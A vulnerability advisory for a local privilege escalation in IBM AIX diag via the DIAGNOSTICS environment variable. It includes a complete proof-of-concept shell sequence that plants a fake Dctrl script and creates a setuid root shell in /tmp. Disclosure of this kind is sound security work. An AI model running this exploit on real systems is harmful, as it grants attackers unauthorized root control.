BID:12041

IBM AIX Diag Local Privilege Escalation Vulnerabilities

Info

IBM AIX Diag Local Privilege Escalation Vulnerabilities

Bugtraq ID:	12041
Class:	Access Validation Error
CVE:
Remote:	No
Local:	Yes
Published:	Dec 20 2004 12:00AM
Updated:	Dec 20 2004 12:00AM
Credit:	Discovery is credited to cees-bart <[email protected]>.
Vulnerable:	IBM AIX 5.3 L IBM AIX 5.2.2 IBM AIX 5.2 L IBM AIX 5.1 L IBM AIX 5.3 IBM AIX 5.2 IBM AIX 5.1

Not Vulnerable:

Discussion

IBM AIX Diag Local Privilege Escalation Vulnerabilities

diag is reported prone to a local privilege escalation vulnerability. This issue is due to a failure of certain diag applications to properly implement security controls when executing an application specified by the 'DIAGNOSTICS' environment variable.

A local attacker may leverage this issue to gain superuser privileges on a computer running the affected software.

Exploit / POC

IBM AIX Diag Local Privilege Escalation Vulnerabilities

The following proof of concept example is available:
mkdirhier /tmp/aap/bin
export DIAGNOSTICS=/tmp/aap
cat > /tmp/aap/bin/Dctrl << EOF
#!/bin/sh
cp /bin/sh /tmp/.shh
chown root:system /tmp/.shh
chmod u+s /tmp/.shh
EOF
chmod a+x /tmp/aap/bin/Dctrl
lsmcode
/tmp/.shh